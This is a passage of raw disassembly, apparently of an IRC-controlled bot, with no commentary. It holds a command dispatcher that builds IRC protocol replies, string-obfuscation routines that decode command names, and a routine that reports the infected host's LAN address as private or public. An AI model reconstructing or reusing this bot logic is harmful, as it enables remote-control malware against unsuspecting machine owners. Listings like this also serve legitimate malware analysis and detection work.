" " push 3 push eax call sub_4016B8 sub esp, 18h mov byte ptr [esp+50h+arg_246C], 23h mov ecx, esp mov [esp+50h+arg_C], esp push offset asc_444600 ; " " push 3 push ecx lea ecx, [esp+5Ch+var_8] call sub_4016B8 mov ecx, offset word_44AC6E mov byte ptr [esp+50h+arg_246C], bl call sub_40212B loc_410F72: ; CODE XREF: sub_410030+EF3j push offset asc_444600 ; " " lea edx, [esp+24h+arg_1CC] push 3 push edx lea ecx, [esp+2Ch+var_8] call sub_4016B8 push offset byte_4E8E55 mov ecx, eax mov byte ptr [esp+24h+arg_246C], 24h call sub_401B86 test eax, eax lea ecx, [esp+20h+arg_1CC] mov byte ptr [esp+20h+arg_246C], bl setz [esp+20h+var_D] call sub_401226 cmp [esp+20h+var_D], bl jz loc_4113F7 push offset asc_444C74 ; ":" lea eax, [esp+24h+arg_22C] push ebx push eax lea ecx, [esp+2Ch+var_8] call sub_4016B8 push offset asc_444C68 ; "!" lea ecx, [esp+24h+arg_1FC] push ebx push ecx mov ecx, eax mov byte ptr [esp+2Ch+arg_246C], 25h call sub_4016B8 mov ecx, eax mov byte ptr [esp+20h+arg_246C], 26h call sub_4017EE push eax lea ecx, [esp+24h+arg_25C] call sub_401870 lea ecx, [esp+20h+arg_1FC] mov byte ptr [esp+20h+arg_246C], 29h call sub_401226 lea ecx, [esp+20h+arg_22C] mov byte ptr [esp+20h+arg_246C], 28h call sub_401226 mov ecx, offset byte_4493FD mov [ebp+16h], bl call sub_4017EE push eax mov ecx, offset dword_4493B4 call sub_4017EE mov edx, dword_4490D4 push eax push edx push offset aSSS_0 ; "%s %s %s\r\n" push ebp call sub_401E24 add esp, 14h lea ecx, [esp+20h+arg_25C] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 jmp loc_4113F7 ; --------------------------------------------------------------------------- loc_411080: ; CODE XREF: sub_410030+EC7j push offset asc_444600 ; " " lea eax, [esp+24h+arg_28C] push 1 push eax lea ecx, [esp+2Ch+var_8] call sub_4016B8 mov ecx, dword_4490F0 mov byte ptr [esp+20h+arg_246C], 2Ah push ecx mov ecx, eax call sub_4012EE test eax, eax lea ecx, [esp+20h+arg_28C] mov byte ptr [esp+20h+arg_246C], bl setz [esp+20h+var_D] call sub_401226 cmp [esp+20h+var_D], bl jz loc_411238 push offset asc_444C74 ; ":" lea edx, [esp+24h+arg_2EC] push 1 push edx lea ecx, [esp+2Ch+var_8] call sub_4016B8 push offset asc_444C68 ; "!" lea ecx, [esp+24h+arg_2BC] push ebx push ecx mov ecx, eax mov byte ptr [esp+2Ch+arg_246C], 2Bh call sub_4016B8 mov ecx, eax mov byte ptr [esp+20h+arg_246C], 2Ch call sub_4017EE push eax lea ecx, [esp+24h+arg_34] call sub_401870 lea ecx, [esp+20h+arg_2BC] mov byte ptr [esp+20h+arg_246C], 2Fh call sub_401226 lea ecx, [esp+20h+arg_2EC] mov byte ptr [esp+20h+arg_246C], 2Eh call sub_401226 push offset asc_444C64 ; " :" lea ecx, [esp+24h+var_8] call sub_4014DD mov esi, dword_511B04 push eax call esi ; strstr add esp, 8 test eax, eax jz loc_411223 push offset asc_444C64 ; " :" lea ecx, [esp+24h+var_8] call sub_4014DD push eax call esi ; strstr add esp, 8 lea ecx, [esp+20h+arg_64] push eax call sub_401870 push offset byte_448F40 lea ecx, [esp+24h+arg_34] mov byte ptr [esp+24h+arg_246C], 30h call sub_4012EE test eax, eax jz short loc_41120F push offset byte_448F40 lea ecx, [esp+24h+arg_64] call sub_4012EE test eax, eax jz short loc_41120F sub esp, 18h lea edx, [esp+38h+arg_34] mov ecx, esp mov [esp+38h+arg_C], esp push edx call sub_4014D3 mov ecx, offset word_44AC6E call sub_401CE4 cmp eax, ebx jz short loc_4111EB lea ecx, [esp+20h+arg_64] push ecx lea ecx, [eax+19h] call sub_401FDC loc_4111EB: ; CODE XREF: sub_410030+11A9j push offset byte_4E8E55 lea ecx, [esp+24h+arg_34] call sub_401B86 test eax, eax jnz short loc_41120F lea edx, [esp+20h+arg_64] mov ecx, offset byte_4E8E55 push edx call sub_401FDC loc_41120F: ; CODE XREF: sub_410030+1173j ; sub_410030+1188j ... lea ecx, [esp+20h+arg_64] mov byte ptr [esp+20h+arg_246C], 2Eh call sub_401226 loc_411223: ; CODE XREF: sub_410030+1134j lea ecx, [esp+20h+arg_34] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 jmp loc_4113F7 ; --------------------------------------------------------------------------- loc_411238: ; CODE XREF: sub_410030+109Cj push offset asc_444600 ; " " lea eax, [esp+24h+arg_34C] push 1 push eax lea ecx, [esp+2Ch+var_8] call sub_4016B8 mov ecx, dword_449100 mov byte ptr [esp+20h+arg_246C], 31h push ecx mov ecx, eax call sub_4012EE test eax, eax jz short loc_4112BF push offset asc_444600 ; " " lea edx, [esp+24h+arg_31C] push 1 push edx lea ecx, [esp+2Ch+var_8] call sub_4016B8 mov ecx, dword_449110 mov byte ptr [esp+20h+arg_246C], 32h push ecx mov ecx, eax call sub_4012EE test eax, eax lea ecx, [esp+20h+arg_31C] mov byte ptr [esp+20h+arg_246C], 31h setz [esp+20h+var_D] call sub_401226 mov al, [esp+20h+var_D] mov [esp+20h+var_D], bl cmp al, bl jz short loc_4112C4 loc_4112BF: ; CODE XREF: sub_410030+1238j mov [esp+20h+var_D], 1 loc_4112C4: ; CODE XREF: sub_410030+128Dj lea ecx, [esp+20h+arg_34C] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 cmp [esp+20h+var_D], bl jz loc_4113F7 push offset asc_444C74 ; ":" lea edx, [esp+24h+arg_37C] push 1 push edx lea ecx, [esp+2Ch+var_8] call sub_4016B8 sub esp, 18h mov byte ptr [esp+38h+arg_246C], 33h mov ecx, esp mov [esp+38h+arg_C], esp push offset asc_444C68 ; "!" push ebx push ecx mov ecx, eax call sub_4016B8 mov ecx, offset word_44AC6E call sub_401CE4 lea ecx, [esp+20h+arg_37C] mov esi, eax mov byte ptr [esp+20h+arg_246C], bl call sub_401226 cmp esi, ebx jz loc_4113F7 push offset asc_444C74 ; ":" lea edx, [esp+24h+arg_3DC] push 1 push edx lea ecx, [esp+2Ch+var_8] call sub_4016B8 sub esp, 18h mov byte ptr [esp+38h+arg_246C], 34h mov ecx, esp mov [esp+38h+arg_C], esp push offset asc_444C68 ; "!" push ebx push ecx mov ecx, eax call sub_4016B8 push offset asc_444C74 ; ":" lea edx, [esp+3Ch+arg_3AC] push 1 push edx lea ecx, [esp+44h+var_8] mov byte ptr [esp+44h+arg_246C], 35h call sub_4016B8 sub esp, 18h mov byte ptr [esp+50h+arg_246C], 36h mov ecx, esp mov [esp+50h+var_C], esp push offset asc_444C68 ; "!" push ebx push ecx mov ecx, eax call sub_4016B8 mov ecx, offset word_44AC6E mov byte ptr [esp+50h+arg_246C], 37h call sub_40212B lea ecx, [esp+20h+arg_3AC] mov byte ptr [esp+20h+arg_246C], 34h call sub_401226 lea ecx, [esp+20h+arg_3DC] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 jmp short loc_4113F7 ; --------------------------------------------------------------------------- loc_4113F0: ; CODE XREF: sub_410030+391j mov ecx, ebp call sub_401D20 loc_4113F7: ; CODE XREF: sub_410030+1D3j ; sub_410030+253j ... cmp [ebp+17h], bl jnz loc_410072 loc_411400: ; CODE XREF: sub_410030+3Cj ; sub_410030+4Fj lea ecx, [esp+20h+var_8] mov [esp+20h+arg_246C], 0FFFFFFFFh call sub_401226 mov ecx, [esp+20h+arg_2464] pop edi pop esi pop ebp xor eax, eax mov large fs:0, ecx pop ebx add esp, 2484h retn sub_410030 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 90h db 500h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_411930 proc near ; CODE XREF: sub_4010BEj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_411930 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401E88 lea ecx, [esi+15h] mov [esp+14h+var_4], 0 call sub_402072 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43F038 mov dword ptr [esi+11h], 0 mov byte ptr [esi+0ABh], 0 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_411930 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_4119B0: ; CODE XREF: ___:loc_40115Ej ; ___:004016F4j push esi mov esi, ecx call sub_40101E test byte ptr [esp+8], 1 jz short loc_4119C8 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_4119C8: ; CODE XREF: ___:004119BDj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4119E0 proc near ; CODE XREF: sub_40101Ej var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4119E0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi mov dword ptr [esi], offset off_43F038 lea ecx, [esi+15h] mov [esp+14h+var_4], 0 call sub_401979 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_40204F mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_4119E0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_411A60 proc near ; CODE XREF: sub_402072j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_411A60 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_40142E lea ecx, [esi+15h] mov [esp+14h+var_4], 0 call sub_40142E lea ecx, [esi+2Ah] mov byte ptr [esp+14h+var_4], 1 call sub_40142E lea ecx, [esi+3Fh] mov byte ptr [esp+14h+var_4], 2 call sub_40142E lea ecx, [esi+54h] mov byte ptr [esp+14h+var_4], 3 call sub_40142E lea ecx, [esi+69h] mov byte ptr [esp+14h+var_4], 4 call sub_40142E lea ecx, [esi+7Eh] mov byte ptr [esp+14h+var_4], 5 call sub_40142E mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_411A60 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_411B20 proc near ; CODE XREF: sub_401979j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_411B20 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+7Eh] mov [esp+14h+var_4], 5 call sub_401226 lea ecx, [esi+69h] mov byte ptr [esp+14h+var_4], 4 call sub_401226 lea ecx, [esi+54h] mov byte ptr [esp+14h+var_4], 3 call sub_401226 lea ecx, [esi+3Fh] mov byte ptr [esp+14h+var_4], 2 call sub_401226 lea ecx, [esi+2Ah] mov byte ptr [esp+14h+var_4], 1 call sub_401226 lea ecx, [esi+15h] mov byte ptr [esp+14h+var_4], 0 call sub_401226 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_411B20 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_411BE0 proc near ; CODE XREF: sub_4019E2j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_401979 test [esp+4+arg_0], 1 jz short loc_411BF8 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_411BF8: ; CODE XREF: sub_411BE0+Dj mov eax, esi pop esi retn 4 sub_411BE0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_411C10 proc near ; CODE XREF: sub_401A19j var_3C = byte ptr -3Ch var_4 = dword ptr -4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_411C10 push eax mov large fs:0, esp sub esp, 30h push ebx push esi mov esi, ecx push edi test esi, esi jz short loc_411C36 lea edi, [esi+11h] jmp short loc_411C38 ; --------------------------------------------------------------------------- loc_411C36: ; CODE XREF: sub_411C10+1Fj xor edi, edi loc_411C38: ; CODE XREF: sub_411C10+24j push 0 push 17h push 1 push 12h push 4Fh lea eax, [esp+5Ch+var_3C] push 9 push eax call sub_4019C4 add esp, 1Ch push edi mov ecx, eax mov [esp+4Ch+var_4], 0 call sub_4017EE lea ecx, [esi+250h] push eax push ecx mov ecx, offset dword_449128 call sub_40159B sub_411C10 endp ; --------------------------------------------------------------------------- or edi, 0FFFFFFFFh lea ecx, [esp+0Ch] mov [esp+44h], edi call sub_401226 test esi, esi jz short loc_411C8C lea ebx, [esi+11h] jmp short loc_411C8E ; --------------------------------------------------------------------------- loc_411C8C: ; CODE XREF: ___:00411C85j xor ebx, ebx loc_411C8E: ; CODE XREF: ___:00411C8Aj push 0 push 14h push 3 push 5 push 0Eh push 0Eh push 0Fh push 3 push 5 push 12h push 4Fh lea edx, [esp+38h] push 9 push edx call sub_4019C4 add esp, 34h push ebx mov ecx, eax mov dword ptr [esp+48h], 1 call sub_4017EE push eax lea eax, [esi+27Eh] push eax mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch] mov [esp+44h], edi call sub_401226 test esi, esi jz short loc_411CEB lea ebx, [esi+11h] jmp short loc_411CED ; --------------------------------------------------------------------------- loc_411CEB: ; CODE XREF: ___:00411CE4j xor ebx, ebx loc_411CED: ; CODE XREF: ___:00411CE9j push 0 push 14h push 12h push 1 push 10h push 4Fh lea ecx, [esp+24h] push 9 push ecx call sub_4019C4 add esp, 20h push ebx mov ecx, eax mov dword ptr [esp+48h], 2 call sub_4017EE lea edx, [esi+1C6h] push eax push edx mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch] mov [esp+44h], edi call sub_401226 test esi, esi jz short loc_411D40 lea ebx, [esi+11h] jmp short loc_411D42 ; --------------------------------------------------------------------------- loc_411D40: ; CODE XREF: ___:00411D39j xor ebx, ebx loc_411D42: ; CODE XREF: ___:00411D3Ej push 0 push 5 push 4 push 0Fh push 0Dh push 4Fh lea eax, [esp+24h] push 9 push eax call sub_4019C4 add esp, 20h push ebx mov ecx, eax mov dword ptr [esp+48h], 3 call sub_4017EE lea ecx, [esi+16Ah] push eax push ecx mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch] mov [esp+44h], edi call sub_401226 test esi, esi jz short loc_411D95 lea ebx, [esi+11h] jmp short loc_411D97 ; --------------------------------------------------------------------------- loc_411D95: ; CODE XREF: ___:00411D8Ej xor ebx, ebx loc_411D97: ; CODE XREF: ___:00411D93j push 0 push 7 push 13h push 0Dh push 4Fh lea edx, [esp+20h] push 9 push edx call sub_4019C4 add esp, 1Ch push ebx mov ecx, eax mov dword ptr [esp+48h], 4 call sub_4017EE push eax lea eax, [esi+1F4h] push eax mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch] mov [esp+44h], edi call sub_401226 test esi, esi jz short loc_411DE8 lea ebx, [esi+11h] jmp short loc_411DEA ; --------------------------------------------------------------------------- loc_411DE8: ; CODE XREF: ___:00411DE1j xor ebx, ebx loc_411DEA: ; CODE XREF: ___:00411DE6j push 0 push 5 push 3 push 9 push 14h push 0Fh push 0Eh push 4Fh lea ecx, [esp+2Ch] push 9 push ecx call sub_4019C4 add esp, 28h push ebx mov ecx, eax mov dword ptr [esp+48h], 5 call sub_4017EE lea edx, [esi+0B2h] push eax push edx mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch] mov [esp+44h], edi call sub_401226 test esi, esi jz short loc_411E41 lea ebx, [esi+11h] jmp short loc_411E43 ; --------------------------------------------------------------------------- loc_411E41: ; CODE XREF: ___:00411E3Aj xor ebx, ebx loc_411E43: ; CODE XREF: ___:00411E3Fj push 0 push 14h push 3 push 5 push 0Eh push 0Eh push 0Fh push 3 push 13h push 9 push 4 push 4Fh lea eax, [esp+3Ch] push 9 push eax call sub_4019C4 add esp, 38h push ebx mov ecx, eax mov dword ptr [esp+48h], 6 call sub_4017EE lea ecx, [esi+56h] push eax push ecx mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch] mov [esp+44h], edi call sub_401226 test esi, esi jz short loc_411E9F lea ebx, [esi+11h] jmp short loc_411EA1 ; --------------------------------------------------------------------------- loc_411E9F: ; CODE XREF: ___:00411E98j xor ebx, ebx loc_411EA1: ; CODE XREF: ___:00411E9Dj push 0 push 14h push 13h push 0Fh push 8 push 14h push 5 push 7 push 4Fh lea edx, [esp+30h] push 9 push edx call sub_4019C4 add esp, 2Ch push ebx mov ecx, eax mov dword ptr [esp+48h], 7 call sub_4017EE push eax lea eax, [esi+10Eh] push eax mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch] mov [esp+44h], edi call sub_401226 test esi, esi jz short loc_411EFA lea ebx, [esi+11h] jmp short loc_411EFC ; --------------------------------------------------------------------------- loc_411EFA: ; CODE XREF: ___:00411EF3j xor ebx, ebx loc_411EFC: ; CODE XREF: ___:00411EF8j push 0 push 0Fh push 6 push 0Eh push 9 push 14h push 5 push 0Eh push 4Fh lea ecx, [esp+30h] push 9 push ecx call sub_4019C4 add esp, 2Ch push ebx mov ecx, eax mov dword ptr [esp+48h], 8 call sub_4017EE lea edx, [esi+198h] push eax push edx mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch] mov [esp+44h], edi call sub_401226 test esi, esi jz short loc_411F55 lea ebx, [esi+11h] jmp short loc_411F57 ; --------------------------------------------------------------------------- loc_411F55: ; CODE XREF: ___:00411F4Ej xor ebx, ebx loc_411F57: ; CODE XREF: ___:00411F53j push 0 push 0Eh push 9 push 0Fh push 0Ah push 4Fh lea eax, [esp+3Ch] push 9 push eax call sub_4019C4 add esp, 20h push ebx mov ecx, eax mov dword ptr [esp+48h], 9 call sub_4017EE add esi, 13Ch push eax push esi mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+24h] mov [esp+44h], edi call sub_401226 mov ecx, [esp+3Ch] pop edi pop esi pop ebx mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 0F0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4120B0 proc near ; CODE XREF: sub_401ACDj var_84 = byte ptr -84h var_6C = byte ptr -6Ch var_54 = byte ptr -54h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_4120B0 push eax mov large fs:0, esp sub esp, 78h push ebx push ebp push esi mov esi, [esp+90h+arg_0] push edi mov edi, ecx lea ebx, [esi+7Eh] lea ecx, [edi+45h] call sub_4017EE push eax mov ecx, ebx call sub_4012EE test eax, eax jz loc_4125D9 lea ecx, [edi+26Dh] call sub_4017EE push eax mov ecx, ebx call sub_4012EE test eax, eax jz loc_4125D9 lea ecx, [edi+0A1h] call sub_4017EE push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_4121B2 push offset asc_444600 ; " " lea eax, [esp+98h+var_6C] push 2 push eax mov ecx, esi call sub_4016B8 mov ebp, eax push offset asc_444600 ; " " lea ecx, [esp+98h+var_84] push 1 xor ebx, ebx push ecx mov ecx, esi mov [esp+0A0h+var_4], ebx call sub_4016B8 mov esi, eax mov ecx, ebp mov byte ptr [esp+94h+var_4], 1 call sub_4017EE push eax mov ecx, esi call sub_4017EE mov edx, dword_4490D0 push eax push edx add edi, 0FFFFFFEFh push offset aSSS_1 ; "%s %s :%s\r\n" push edi call sub_401E24 add esp, 14h lea ecx, [esp+94h+var_84] mov byte ptr [esp+94h+var_4], bl call sub_401226 lea ecx, [esp+94h+var_6C] mov [esp+94h+var_4], 0FFFFFFFFh call sub_401226 jmp loc_412602 ; --------------------------------------------------------------------------- loc_4121B2: ; CODE XREF: sub_4120B0+70j lea ecx, [edi+187h] call sub_4017EE push eax mov ecx, ebx call sub_4012EE test eax, eax jnz short loc_412229 add edi, 0FFFFFFEFh lea eax, [esp+94h+var_6C] push eax mov ecx, edi call sub_401D4D mov ecx, eax mov [esp+94h+var_4], 2 call sub_4017EE push eax push offset aS ; "%s" lea ecx, [esi+69h] call sub_4014DD mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx push edi call sub_401857 add esp, 18h lea ecx, [esp+94h+var_6C] mov [esp+94h+var_4], 0FFFFFFFFh call sub_401226 jmp loc_412602 ; --------------------------------------------------------------------------- loc_412229: ; CODE XREF: sub_4120B0+117j lea ecx, [edi+0FDh] call sub_4017EE push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_4122E4 push offset asc_444600 ; " " lea eax, [esp+98h+var_6C] push 1 push eax mov ecx, esi call sub_4016B8 push eax lea ecx, [edi+17h] mov [esp+98h+var_4], 3 call sub_4018B1 or ebp, 0FFFFFFFFh lea ecx, [esp+94h+var_6C] mov ebx, eax mov [esp+94h+var_4], ebp call sub_401226 test ebx, ebx jz loc_412602 lea ecx, [esp+94h+var_6C] add edi, 0FFFFFFEFh push ecx mov ecx, edi call sub_401D4D mov ecx, eax mov [esp+94h+var_4], 4 call sub_4017EE push eax push offset aS ; "%s" lea ecx, [esi+69h] call sub_4014DD mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push edi call sub_401857 add esp, 18h lea ecx, [esp+94h+var_6C] mov [esp+94h+var_4], ebp call sub_401226 jmp loc_412602 ; --------------------------------------------------------------------------- loc_4122E4: ; CODE XREF: sub_4120B0+18Ej lea ecx, [edi+12Bh] call sub_4017EE push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_41238D push offset asc_444600 ; " " lea ecx, [esp+98h+var_84] push 2 push ecx mov ecx, esi call sub_4016B8 mov ebp, eax push offset asc_444600 ; " " lea edx, [esp+98h+var_6C] mov ebx, 5 push 1 push edx mov ecx, esi mov [esp+0A0h+var_4], ebx call sub_4016B8 mov esi, eax mov ecx, ebp mov byte ptr [esp+94h+var_4], 6 call sub_4017EE push eax mov ecx, esi call sub_4017EE push eax mov eax, dword_4490D4 push eax add edi, 0FFFFFFEFh push offset aSSS_0 ; "%s %s %s\r\n" push edi call sub_401E24 add esp, 14h lea ecx, [esp+94h+var_6C] mov byte ptr [esp+94h+var_4], bl call sub_401226 lea ecx, [esp+94h+var_84] mov [esp+94h+var_4], 0FFFFFFFFh call sub_401226 jmp loc_412602 ; --------------------------------------------------------------------------- loc_41238D: ; CODE XREF: sub_4120B0+249j lea ecx, [edi+1B5h] call sub_4017EE push eax mov ecx, ebx call sub_4012EE test eax, eax jnz short loc_4123FB push offset asc_444600 ; " " lea ecx, [esp+98h+var_6C] push 1 push ecx mov ecx, esi call sub_4016B8 mov ecx, eax mov [esp+94h+var_4], 7 call sub_4017EE mov edx, dword_449100 push eax push edx add edi, 0FFFFFFEFh push offset aSS_0 ; "%s %s\r\n" push edi call sub_401E24 add esp, 10h lea ecx, [esp+94h+var_6C] mov [esp+94h+var_4], 0FFFFFFFFh call sub_401226 jmp loc_412602 ; --------------------------------------------------------------------------- loc_4123FB: ; CODE XREF: sub_4120B0+2F2j lea ecx, [edi+23Fh] call sub_4017EE push eax mov ecx, ebx call sub_4012EE test eax, eax jnz short loc_41245D lea eax, [esp+94h+var_6C] push 9 push eax mov ecx, esi call sub_401E47 mov ecx, eax mov [esp+94h+var_4], 8 call sub_4017EE push eax add edi, 0FFFFFFEFh push offset aS_3 ; "%s\r\n" push edi call sub_401E24 add esp, 0Ch lea ecx, [esp+94h+var_6C] mov [esp+94h+var_4], 0FFFFFFFFh call sub_401226 jmp loc_412602 ; --------------------------------------------------------------------------- loc_41245D: ; CODE XREF: sub_4120B0+360j lea ecx, [edi+1E3h] call sub_4017EE push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_4124FD push offset asc_444600 ; " " lea ecx, [esp+98h+var_84] push 1 push ecx mov ecx, esi call sub_4016B8 mov ebp, eax push 1 push offset asc_444600 ; " " lea edx, [esp+9Ch+var_6C] push 2 push edx mov ecx, esi mov [esp+0A4h+var_4], 9 call sub_4011EA mov esi, eax mov ecx, ebp mov byte ptr [esp+94h+var_4], 0Ah call sub_4014DD push eax mov ecx, esi call sub_4014DD xor ebx, ebx push eax push ebx push ebx lea ecx, [edi-11h] call sub_401118 lea ecx, [esp+94h+var_6C] mov byte ptr [esp+94h+var_4], 9 call sub_401226 lea ecx, [esp+94h+var_84] mov [esp+94h+var_4], 0FFFFFFFFh call sub_401226 jmp loc_412602 ; --------------------------------------------------------------------------- loc_4124FD: ; CODE XREF: sub_4120B0+3C2j lea ecx, [edi+159h] call sub_4017EE push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_412602 push offset asc_444600 ; " " lea eax, [esp+98h+var_24] push 3 push eax mov ecx, esi call sub_4016B8 mov ebp, eax push offset asc_444600 ; " " lea ecx, [esp+98h+var_3C] push 2 push ecx mov ecx, esi mov [esp+0A0h+var_4], 0Bh call sub_4016B8 mov ebx, eax push offset asc_444600 ; " " lea edx, [esp+98h+var_54] push 1 push edx mov ecx, esi mov byte ptr [esp+0A0h+var_4], 0Ch call sub_4016B8 mov esi, eax mov ecx, ebp mov byte ptr [esp+94h+var_4], 0Dh call sub_4017EE push eax mov ecx, ebx call sub_4017EE push eax mov ecx, esi call sub_4017EE push eax mov eax, dword_449104 push eax add edi, 0FFFFFFEFh push offset aSSSS ; "%s %s %s %s\r\n" push edi call sub_401E24 add esp, 18h lea ecx, [esp+94h+var_54] mov byte ptr [esp+94h+var_4], 0Ch call sub_401226 lea ecx, [esp+94h+var_3C] mov byte ptr [esp+94h+var_4], 0Bh call sub_401226 lea ecx, [esp+94h+var_24] mov [esp+94h+var_4], 0FFFFFFFFh call sub_401226 jmp short loc_412602 ; --------------------------------------------------------------------------- loc_4125D9: ; CODE XREF: sub_4120B0+3Aj ; sub_4120B0+55j xor ebx, ebx mov [edi+0Fh], ebx mov [edi+0Bh], ebx mov [edi+5], bl mov [edi+4], bl mov ecx, [edi+7] push ecx call near ptr 71AB9639h nop mov ecx, offset word_44AC6E mov dword ptr [edi+7], 0FFFFFFFFh call sub_401541 loc_412602: ; CODE XREF: sub_4120B0+FDj ; sub_4120B0+174j ... mov ecx, [esp+94h+var_C] pop edi pop esi pop ebp xor al, al pop ebx mov large fs:0, ecx add esp, 84h retn 4 sub_4120B0 endp ; --------------------------------------------------------------------------- db 90h db 160h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_412780 proc near ; CODE XREF: sub_401D4Dj var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = byte ptr -34h var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 push 0FFFFFFFFh push offset SEH_412780 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 40h push esi mov esi, ecx lea ecx, [esp+50h+var_24] mov [esp+50h+var_48], 0 call sub_40142E xor eax, eax lea ecx, [esp+50h+var_4C] mov [esp+50h+var_44], eax lea edx, [esp+50h+var_44] mov [esp+50h+var_40], eax push ecx mov [esp+54h+var_3C], eax push edx mov [esp+58h+var_38], eax mov eax, [esi+18h] push eax mov [esp+5Ch+var_4], 1 mov [esp+5Ch+var_4C], 10h nop call near ptr 71AB951Eh mov ecx, [esp+50h+var_40+3] mov edx, [esp+50h+var_40+2] mov eax, [esp+50h+var_40+1] and ecx, 0FFh push ecx mov ecx, [esp+54h+var_40] and edx, 0FFh and eax, 0FFh push edx and ecx, 0FFh push eax push ecx lea edx, [esp+60h+var_34] push offset aD_D_D_D ; "%d.%d.%d.%d" push edx nop call sub_5F74D1 add esp, 18h lea ecx, [esp+50h+var_24] push offset byte_448F40 call sub_4015E1 push offset aLan ; "lan: " lea ecx, [esp+54h+var_24] call sub_401AAF lea eax, [esp+50h+var_34] lea ecx, [esp+50h+var_24] push eax call sub_401AAF push offset a_ ; ". " lea ecx, [esp+54h+var_24] call sub_401AAF add esi, 28h lea ecx, [esp+50h+var_24] push esi call sub_4016C7 push offset a_ ; ". " lea ecx, [esp+54h+var_24] call sub_401AAF lea ecx, [esp+50h+var_34] push ecx call sub_401483 add esp, 4 test al, al jz short loc_41288B push offset aPrivate ; "[PRIVATE]" jmp short loc_412890 ; --------------------------------------------------------------------------- loc_41288B: ; CODE XREF: sub_412780+102j push offset aPublic ; "[PUBLIC]" loc_412890: ; CODE XREF: sub_412780+109j lea ecx, [esp+54h+var_24] call sub_401AAF mov esi, [esp+50h+arg_0] lea edx, [esp+50h+var_24] push edx mov ecx, esi call sub_4014D3 mov [esp+50h+var_48], 1 lea ecx, [esp+50h+var_24] mov byte ptr [esp+50h+var_4], 0 call sub_401226 mov ecx, [esp+50h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 4Ch retn 4 sub_412780 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 60h dup(0CCh) ; =============== S U B R O U T I N E 